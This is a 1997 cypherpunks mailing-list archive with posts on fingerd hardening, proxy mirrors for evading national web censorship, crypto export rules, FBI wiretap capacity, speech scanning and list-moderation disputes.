Content-Type: text/plain


> >        Lynx 2.6 is the "latest" for UNIX and they "got" mine.  However,
> >someone suggesed that it may have been done through finger as well, and
> >since my ocmputer is a UNIX box...the people using UNIX shells are gonna
> >get nailed too...
> 
> Couple of things you can do:
> 
>     1.  Comment out "fingerd" in /etc/inetd.conf and refresh
>     2.  Install a more secure "fingerd" such that it only
>         allows "finger `userid@node.domain`" instead of
>         "finger `@node.domain`".
> 
> While I've seen #2 in action, I don't know where to go to snarf it.  I just
> use #1.

  Anyone know where to 'snarf it'?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 12:14:05 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212014.MAA11058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Igor Chudov @ home wrote:

> Jane Jefferson wrote:
> > 
> > The heart and soul of the problem is that "sin", "freedom", "good", 
> > and "evil" are abstract concepts which fluctuate from individual to 
> > individual.
> 
> An excellent point, Jane. Worth remembering.

	Why not archive it ...as it may be worth something someday....

oksas






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 12:25:31 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
Message-ID: <199701212025.MAA11236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > 	ADSL will be the best for movies... i can't wait .
> 
> What kind of movies?

	You're too young to watch these..:)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 12:27:18 -0800 (PST)
To: cypherpunks <declan@well.com>
Subject: Fighting the cybercensor.
Message-ID: <199701212027.MAA11310@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mission:

Singapore and China are blocking certain net groups. I think
this is a bad thing, question is how can we stop it? The Web
was conceived as offering despots and dictators a choice 
between remaining in the dark ages and allowing freedom of
speech. Blocking and filtering schemes threaten this ideal.


Requirements:

A scheme which makes blocking of individual IP addresses 
impractical.


Architecture:

The Web allows for proxies such as provided by the CERN server
(and versions of Apache etc). A proxy server configured to
accept connections from domains enforcing blocking (china, 
Singapore etc) can serve as a means of circumventing the 
restrictions.

The problem then arises, how can the victims of censorship
find out about the holes in the curtain? I believe that it
would not be difficult to persuade large numbers of people to
mirror a list of sites maintained at a central location. The
blue ribbon campaign attracted a lot of interest on the same
topic. Activity that brought to light the political aspect
of Web censorship would help the domestic anti-CDA effort.


Considerations:
[i.e. areas needing brainstorming]

1) Copyright. Clearly copyright holders such as CNN etc would
need to be involved. Although proxies have long been a part of 
the Web and the scheme does not threaten their interests it would
be as well to get them on board at an early stage.

2) How can one prevent the proxies themselves being blocked? Some
ideas that come to mind:

2a) Only issue new sites gradually so that blocking requires
continuous updates.

2b) Use DHCP to change network addresses regularly.

2c) Some crypto hack I can't quite work out (hence the post to
cypher punks). I can phrase the challenge more compactly though.
We have two sets of opposed groups A and M. The A group wish to
establish a continued conversation with groups B and C. M is 
willing to permit communication with group B but not C. Whenever
M discovers that a member of group B is willing to act on behalf 
of group C, M transfers that member to the C group.

The problem is to keep A's channels of communication open despite
the efforts of M for very large group sizes. 

I'm not sure if this is a pure crypto challenge or a game theory
problem.


Comments? If people are willing to work on this I can provide 
some facilities and act as a media contact.


		Phill










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 21 Jan 1997 15:00:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NONCRYPTO] speaking of ADSL
Message-ID: <199701212300.PAA13458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 ADSL fans may be interested to know that Ameritech has a 200 unit
ADSL trial underway in Wheaton Il as I speak. It is going very
well. The units are currently running 1.5Mbs, (T-1) but are
scheduled to go to 3Mbs later this year.

Next year rumor is 6Mbs.

In an interesting example of "Brazil Effect", ADSL may first come
to older areas, because they are all direct copper.

If I could only get ADSL cards for my DMS100.  ;)

Brian

Network Premise engineer
Ameritech Data Center
Chicago

Extropian
Cypherpunk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 12:26:53 -0800 (PST)
To: "'Jeff Barber'" <jeffb@issl.atl.hp.com>
Subject: RE: Newt's phone calls
Message-ID: <199701212026.MAA11273@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




>No, the real danger in weak crypto is that the poorly-informed will not
>think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
>have been embarrassed by this sort of casual interception, and the issue
>wouldn't have been raised in the public mind.  But our communications
>still wouldn't be safe from more determined attackers.  Brouhahas like
>these are good for the pro-(strong-)crypto agenda.

Not the way we've being going on, Zero coverage of the
crypto issue, zip, nada. That points to EFF and CDT not
being on the ball on the crypto issue.

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 16:04:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Re: Dr. Vulis' social engineering experiment
Message-ID: <199701220004.QAA14425@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:35 PM 1/20/97 -0800, Toto wrote:

>  In short, I believe that if the issue of free speech is not one of
>the central issues on the CypherPunks list, then the list is merely
>one more heartless, unfeeling extension of the Great Machine which
>is grinding inexorably forward toward the day when we will all have
>its numbers tattoo'd on our forearms.

That machine will be the SIXTH model made by a little firm on the thirteenth
floor of an office building.
It will operate on several thousand 6X86 processors.
It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
is completed.

And it won't be our forearms, we can cover those with sleeves.  It will be
our brow.  (please excuse the spelling).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701212357.PAA14286@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 PM 1/20/97 -0800, Lucky Green wrote:
>At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:

>>1. an html tag that indicates how much a link costs, probably in
>>the <a href="" cost=xx> type syntax
>
>This could be done, but is, IMHO, too inflexible.
>
Also, with tags, I could download the page with good old fashioned netscape
3.0 Gold, (possibly the last browser without this), allowing me to get the
entire page, neutralize the tag either by hand or with a simple app. and
view the site sans payment.  The blocks that I see to this are server push
upon receipt of cash and encrypted pages only accessable upon (automatic)
payment, not unlike pay-per-view satellite television.  The problem here is
the patent that was stirring up trouble here a few months ago.  The one that
Compuserve stood up against involving the use of this on computer networks.
I really think that a tag alone wouldn't be worth much, not without a CGI
script to verify it or a JAVA app. to run it.

Please correct me if I am in error.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Wagner <daw@cs.berkeley.edu>
Date: Thu, 23 Jan 1997 15:58:41 -0800 (PST)
To: cryptography@c2.net
Subject: Privacy-enhancing technologies for the Internet
Message-ID: <199701232358.PAA00778@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg, Eric Brewer, and I wrote a paper giving a high-level
introduction to privacy-enhancing technologies for the Internet.
Nothing terribly new, but it's about time this stuff made it past
oral history and into the literature.  To be presented at IEEE
COMPCON '97 in February.

The paper is available on the web.  A html version is at
        http://www.cs.berkeley.edu/~daw/privacy-compcon97-www/privacy-html.html
and there's a postscript version at
        http://www.cs.berkeley.edu/~daw/privacy-compcon97.ps

Comments, critiques, and discussions are welcome.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 12:27:02 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701212027.MAA11296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> >No, the real danger in weak crypto is that the poorly-informed will not
> >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
> >have been embarrassed by this sort of casual interception, and the issue
> >wouldn't have been raised in the public mind.  But our communications
> >still wouldn't be safe from more determined attackers.  Brouhahas like
> >these are good for the pro-(strong-)crypto agenda.
> 
> Not the way we've being going on, Zero coverage of the
> crypto issue, zip, nada.

It was pointed out (in network newscasts, for example) that cellular
communications are completely unprotected and available for the taking
by anyone with a radio scanner.  I count this as good exposure even if
the alternatives weren't explicitly discussed.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 16:20:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701220020.QAA14642@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 AM 1/21/97 -0500, Jane Jefferson wrote:

>Governments, however, are made up of the very same people who claim
>to require these rights to privacy. Those people create, codify and 
>enforce the laws. The problem is that the people who find themselves in 
>this position of power are not always the most moral or concerned with 
>the best interest of the majority. 
>
>And fiendishly, it is the very chaos and anarchy and random chance 
>espoused by proponents of the cypherpunk philosophy that allows these
>people to gain this power, unchecked! 
> 
>Thus, the real problem ends up being not "how to control the government
>so that the government doesn't control us", but "how to deal with the 
>government when it goes into control-freak mode". That it will go into
>such a mode is a given -- based on human nature and history. This is
>a fundamental cycle of evolution and human behavior. We have to face
>the fact that humans are predators, and as long as we are, the 
>cycle of this behavior will continue. 

Also, remember, that those people willing to put up with the responsibility
of leadership are more often more extreme control freaks than the rest of
the population.  Persons asked on the street if they wanted to be president
of the United States have often said no way, yet every four years we have at
least two people willing to put up with the hassle in order to be the most
powerful man in the country.
What we need is a leader who is willing to put up with it for h[is/er]
people/cause, but has no desire to stay any longer than absolutely necessary.
Then we need another just like h[im/er] for the next term.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 15:59:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701212359.PAA14326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/21/97 -0800, Toto wrote:
>Bill Campbell wrote:
>
>> I feel we at a *critical* crossroads in this debate, and one of the
>> more important voices has *very* effectively been silenced.
>
>  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
>worked, to date.
> 
I believe he is referring to silencing the list, not Vulis.  As long as the
members of this list are argueing over semantics, the government has one
less challenger in the fight over our rights.
Remember, one of the oldest tactics of war is to turn the enemy against itself.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 21 Jan 1997 16:19:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701220019.QAA14630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:17 AM 1/21/97 -0500, Richard L. Field wrote:
...
>  I read the new regs as permitting:  (i) publication of source code in
>paper form (including publications reproduced on microfilm or on prerecorded
>phonograph records), or in the form of a motion picture film and soundtrack
>(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
>information "about" cryptography (section 744.9).  The export of other
>encryption materials (including the distribution to non-US persons of source
>or object code on diskettes) is restricted, even if the materials are
>publicly available "educational information" for release by instruction in
>catalog courses and associated teaching laboratories of academic
>institutions (section 734.9).
...
This has often reminded me of something that occurred around 1776.
I can't remember if it was before or after.
Remember how the colonies got sophisticated spinning gear?
I believe it was spinning gear.
Great Britain had a ban on the export of functional models, diagrams or
manufacturing instructions to one particular class of equipment.  This was
so that they could maintain the monopoly on cheaply made cloth, holding the
outlying colonies in line by maintaining a dependancy.
One man memorized the structure of one of these machines and then came to
the American shores, where he reproduced it workably.

I can't remember the name of the man or the machine, just that it was used
in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
remember the date.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <mpj@csn.net>
Date: Tue, 21 Jan 1997 15:58:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: North American crypto archive
Message-ID: <199701212358.PAA14297@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[I'm not on this list, so please CC: me on replies. Thanks!]
-----BEGIN PGP SIGNED MESSAGE-----



There is another change to the way I distribute strong
cryptographic software at my ftp site (ftp://ftp.csn.net/mpj/).
The strong cryptographic software is still in a hidden directory
with a name that changes periodically, but access is via a
password protected web form at http://www.sni.net/~mpj/na/ that
has the current hidden directory name expanded in it. To get
your very own user name and password, please fill out the form
at http://www.sni.net/~mpj/getcrypt.htm, and then watch your
email box.

This change is to comply with the new Export Administration
Regulation (EAR) changes that require "checking the destination
machine's address" to ensure that it is in the USA or Canada to
avoid being accused of exporting without a license.  My many
friends outside of North America need not feel left out,
however, as I have a nice listing of some good crypto sites that
they can legally access at http://www.sni.net/~mpj/freecryp.htm,
which probably points to places with most, if not all, of the
cryptographic programs that are archived at my site.

Although the hoops are not so hard to navigate at crypto sites
outside of North America, I hope that a well-connected site in
Colorado will provide faster downloads for people in the USA and
Canada. This ftp site is rather busy, so if your connection is
refused, please try back at a time that is less busy.

If you have some high quality, strong cryptographic software or
libraries that you would like me to host, please let me know at
mpj@csn.net. Space is limited, but I have room for a few more
things, like programs to take on the RSA challenge contests,
etc.

Peace to you.

Michael Paul Johnson     mpj@csn.net
PO Box 1151              http://www.sni.net/~mpj
Longmont CO 80502-1151
USA



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 21 Jan 1997 15:55:39 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: [NOISE] Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212355.PAA14206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> That machine will be the SIXTH model made by a little firm on the thirteenth
> floor of an office building.
> It will operate on several thousand 6X86 processors.
> It will operate either on MSDOS 6.0 or UNIX V6R4, depending on how soon it
> is completed.
> 
> And it won't be our forearms, we can cover those with sleeves.  It will be
> our brow.  (please excuse the spelling).
> 

yeah, 6000 processors, all managed by MS-DOS. And 30,000 couriers alone.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@sctc.com>
Date: Tue, 21 Jan 1997 15:59:49 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701212359.PAA14327@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz wrote:

: I was talking to someone recently about the feasibilty of keyword-scanning
: phone conversations....

My first "real" job in the computer industry was for a garage shop
doing speech recognition. We did a demo system in 1977 for Rome Labs
that did exactly what you're asking about: scanning a stream of
continuous speech over a telephone line looking for key words. It was
tolerably effective: I forget the success rate but it was above 90%.
But we were never asked to go past the research prototype.

We did it the "hard way" in that we were trying to solve the "talk to
the computer" problem which is harder than the "look for something
suspicious worth looking closer at" problem. I expect they were looking
for something to cut down on their false positives and perhaps we weren't
significantly better than what they were already doing.

: "Discrete Utterance Speech Recognition without Time Alignment", John Shore
: and David Burton, IEEE Trans.Information Theory, Vol.29, No.4 (July 1983),
:  p.473.
:  
:This generates a feature vector every 10-30ms from input speech which is
:compared to pre-generated reference sequences.  It also has references to many
:other papers covering the same area.

When I worked in the field "discrete utterance" was the buzz phrase
for talking with - pauses - between - each - word. Ecch. Our
commercial systems at the time (late '70s) used discrete speech
without time alignment since we could process 8 input channels
simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Rick.
smith@sctc.com            secure computing corporation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 21 Jan 1997 15:10:56 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Newt's phone calls
Message-ID: <199701212310.PAA13624@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
| >No, the real danger in weak crypto is that the poorly-informed will not
| >think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
| >have been embarrassed by this sort of casual interception, and the issue
| >wouldn't have been raised in the public mind.  But our communications
| >still wouldn't be safe from more determined attackers.  Brouhahas like
| >these are good for the pro-(strong-)crypto agenda.
| 
| Not the way we've being going on, Zero coverage of the
| crypto issue, zip, nada. That points to EFF and CDT not
| being on the ball on the crypto issue.

Was on the NYT op-ed page on Monday.  Something about scanners had a
few closing paragraphs about the ITARs with a comment from (David
Sobel)?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 21 Jan 1997 18:00:27 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701220200.SAA16125@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>This is the approach taken by PGPfone also.  If the value of the
>>conversations was high (>$100,000?) passable voice imitation wouldn't
>>be that hard I suspect.
>
>I have long considered how easy it would be to use a sound card to modify
>the human voice to match within certain tolerances the voice of another.
>
>There are currently on the market, phones specifically designed to modify
>the voice of the user so that kids can answer as adults, women can answer as
>thier own protective boyfriends, bosses can answer anonymous calls as the
>secretary, etc...
>
>There are currently on the market keyboards that allow you to sample some
>real world sound and use it as a voice in your music, (the model I saw, a
>toy produced by Radio Shack, simply sped up or slowed down the sound to
>achieve this.)
>
>I have thought, if a machine were to take the incoming voice, analize
>(apologies for spelling) it to get a spectrum signature, a pattern that can
>be added or subtracted from another, and could then add the difference
>between that and the victims signature to the users voice, then real-time,
>on-the-fly con jobs would be easy.
>
>The only thing that the user would be responsible for would be the accent,
>and the day-to-day vocabulary of the victim.
>
>I told a friend about this and he confirmed that such was available if you
>knew where to look.

A friend of mine, an expert on signal processing, vocei systhesis and
recognition, showed me a journal article (think it was an IEEE) in 1990 of
some university researchers who had prototyped just such a device.  Never
followed up, but it seems entirely reasonable a practicle.  In fact I'm
surprised that Hollywood hasn't latched onto this in order to dub film
stars to different languages w/o loosing their recognizable voice
characteristics.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 21 Jan 1997 16:03:25 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701220003.QAA14414@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 AM 1/21/97 -0600, you wrote:

:Jane Jefferson wrote:

:> 

:> The heart and soul of the problem is that "sin", "freedom", "good", 

:> and "evil" are abstract concepts which fluctuate from individual to 

:> individual.

:

:An excellent point, Jane. Worth remembering.

:

:	- Igor.


Not only from individual to individual.


Please consider the changes in the concepts of "sin", "freedom", "good", 

and "evil" which occur over <italic>time even within the same
individual</italic>; to wit the on and off again love affair with our
nation's past "enemies; individual responses to drug use especially
alcohol; premarital sex (ok for me but not my daughter).


This constant flux within both society and individual makes creation and
implementation of rules extremely difficult and hazardous.


Alec  








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Tue, 21 Jan 1997 15:58:05 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Dr. Vulis' social engineering experiment
Message-ID: <199701212358.PAA14296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>   Just because an individual claims, rightly or wrongly, to be a
> big defender of freedom, involving himself or herself in causes
> like those of the Electronic Freedom Foundation, does not take
> away their right to stomp on anyone who disagrees with them on
> their own private list.

Of course

>   To claim otherwise would be as ludicrous as denying the person
> running the Anonymizer the right to expose the identities of the
> people he feels might perhaps be abusing his private system, or
> using it for nefarious purposes, such as hiding their identity 
> from others.

I suspect you intended that to be sarcasm, but to be honest I
wouldn't have caught it at all if I wasn't already aware of your 
views in this area.  The person hosting the Anonymizer *does*
have the right to do exactly this.  I don't believe they would do
so, but that is a reputation issue not a question of my rights.
If I had entered into a contract with the provider of a service of
this nature then I would have a 'right' to expect their contractual
obligations to be fulfilled, but that is not the case with the
Anonymizer and certainly not with toad.com.

regards,
-Blake (freedom of the press for those with presses)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 21 Jan 1997 16:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
Message-ID: <199701220056.QAA15164@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > 	ADSL will be the best for movies... i can't wait .
> >
> > What kind of movies?
>
> 	You're too young to watch these..:)

I'm older than you... Do you mean I'm too old to watch these?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Tue, 21 Jan 1997 20:12:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: The Purpose of the List
Message-ID: <199701220412.UAA17812@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If the cpunk list discusses only crypto, then mathematician-programmers
will do their cold work in an isolation which eliminates the need to
think about the consequences of their actions.

So discussions on philosophy, society, etc., are important, to remind
everyone of the context within which this subject operates.

However, if "community feeling" is the only thing created on the list,
and crypto is no longer the focal topic, then what is to be
accomplished: the list will become just a playing ground for wayward
KOTM PhDs who are not welcome in most other cyberspaces.

So the question of "how will this impact society", must maintain
association with "but how does this relate to crypto?".  (unless the
list has changed its stripes, evolving into something completely
different, which many will agree it has).

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 18:40:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition (fwd)
Message-ID: <199701220240.SAA16615@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 21 Jan 1997 17:11:24 -0600
> From: Rick Smith <smith@sctc.com>
> 
> simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Now there is a blast from the past. I was working at UT Austin in '82 on my
EE. I had to work part-time at the school for a non-classified project for
the DoD (only way they would let students work on projects on the main
campus). We were building a non-Von Neumann RTL (mono-bus computer) based
router for the ARPANet using the 181's clocked at 40MHz (fastest they were
reliable at) as the ALU's behind the registers. Couldn't find a way to
saturate the machine (had 64 serial ports driving 64 Z80's @ 4MHz sitting
on the RTL bus as addresses registers) on I/O. One of the guys working on
the project was taking an electronic music class from one of the members of
Journey (who was teaching a 1 time 1 semester class on electronic music) so
we ended up using it as a synthesizer. Worked damn well. Don't know what the
DoD did with it afterwards.

Thanks for the reminder of some fond memories.

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Tue, 21 Jan 1997 21:57:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <199701220557.VAA19021@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


||| FBI moderates its communications-surveillance request |||

TBTF for 5/4/95 [6]

In 1995 the FBI asked for and was granted $500 million to augment the
government's ability to tap communications (of this total $100M has
been released to the FBI so far). Privacy advocates expressed outrage
at the FBI's stated capacity goal: to be able to listen in on 1% of
installed telephone lines at any time. This translates to about 1.6
million taps simultaneous of all kinds: pen registers, trap-and-trace,
and wiretaps. The FBI withdrew its initial proposal under fire and on
1/14 submitted a revised proposal -- press release at [7], analysis
at [8]. Unlike the earlier draft, this essay lays out its assumptions
and straightforwardly projects needed capacity growth. The result is
a capacity figure of fewer than 60,000 intercepts, less that 4% of
the original request. This level of capability would allow the FBI
simultaneously to monitor more than 500 phone lines in an area with
the population of Manhatta still an enormous increase on historical 
numbers of intercepts.

[6]  <http://www.tbtf.com/archive/05-04-95.html>
[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
[8]  <http://www.cdt.org/publications/pp_3.01.html>

Fuck the FBI.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 21 Jan 1997 18:00:50 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
Message-ID: <199701220200.SAA16134@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 21 Jan 1997, Phillip M. Hallam-Baker wrote:

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.

I'm not sure how effective this would be.  This depends mostly on security
through obscurity.  If the censors are very dedicated to making sure that all
sites containing offending content are blocked, then there might be a few
hours between the time when the mirror is set up and when it gets blocked.

I prefer to think of the solution to this problem as a denial of service attack
rather than just relying on obscurity.  If the goal is to make sure that a
large number of people have access to the mirrors, then the chances are it will
be blocked fairly quickly.  If many different diverse sites set up mirrors,
this would effectively cut off that country's access to the web.  This still
does rely on some obscurity, such as being able to change URLs on a site
frequently so the whole site has to be blocked instead of just the offending
URL.

A series of linguistic instructions on generating the URL could easily evade
any bot seeking out notices of new URLs.  This might be spelling out the URL,
telling the user to find the MD5 hash of a specified string (a cgi interface
for md5sum might be useful for this example), or any obscure method of encoding
an URL that should be easy for any person to understand, but impossible for a
program to parse.

> 2b) Use DHCP to change network addresses regularly.

If this change is regular enough, then it might force the censors to block the
whole network and not just the host.  Definitely a positive.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 19:40:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls) (fwd)
Message-ID: <199701220340.TAA17362@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 21 Jan 1997 17:29:05 -0800
> From: Steve Schear <azur@netcom.com>
> Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
> 
> followed up, but it seems entirely reasonable a practicle.  In fact I'm
> surprised that Hollywood hasn't latched onto this in order to dub film
> stars to different languages w/o loosing their recognizable voice
> characteristics.

In this regards you people (en toto) need to do a little more real world
research in this area. Voice recognition is and has been easy to do for
decades. As to what Hollywood is doing, not only are they doing voice
masking but your local radio station does it on a regular basis [1] for a
few $1,000's in hardware and software.


[1] Video Toaster User
    Dec. 1996
    Toaster Talk - "Learning from radio"
    pp. 6


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 21:55:40 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701220555.VAA18997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> :Jane Jefferson wrote:
> :> The heart and soul of the problem is that "sin", "freedom", "good",
> :> and "evil" are abstract concepts which fluctuate from individual to
> :> individual.

> Not only from individual to individual.
> Please consider the changes in the concepts of "sin", "freedom", "good",
> and "evil" which occur over time even within the same individual; to
> wit the on and off again love affair with our nation's past "enemies;
> individual responses to drug use especially alcohol; premarital sex
> (ok for me but not my daughter).
> This constant flux within both society and individual makes creation
> and implementation of rules extremely difficult and hazardous.

The idea that "sin" and "evil" are abstract and somewhat arbitrary is
merely a human (and therefore faulty) perception.

If God can be perfect by definition (for sake of argument), then "sin"
is taking one's attention from God's intent and turning to man's intent,
which is inherently selfish.  "Evil" is the selfish thing you do, when
you should do the unselfish thing.

These are not that difficult to understand, but are easily twisted by
selfish minds.

A gentleman wrote to Southern Partisan magazine a few years ago and
said "Real freedom is not the license to do whatever you want, but
rather the liberty to do what you ought to do".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 21:55:35 -0800 (PST)
To: Blanc Weber <blancw@microsoft.com>
Subject: Re: The Purpose of the List
Message-ID: <199701220555.VAA18989@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:
> If the cpunk list discusses only crypto, then mathematician-programmers
> will do their cold work in an isolation which eliminates the need to
> think about the consequences of their actions.
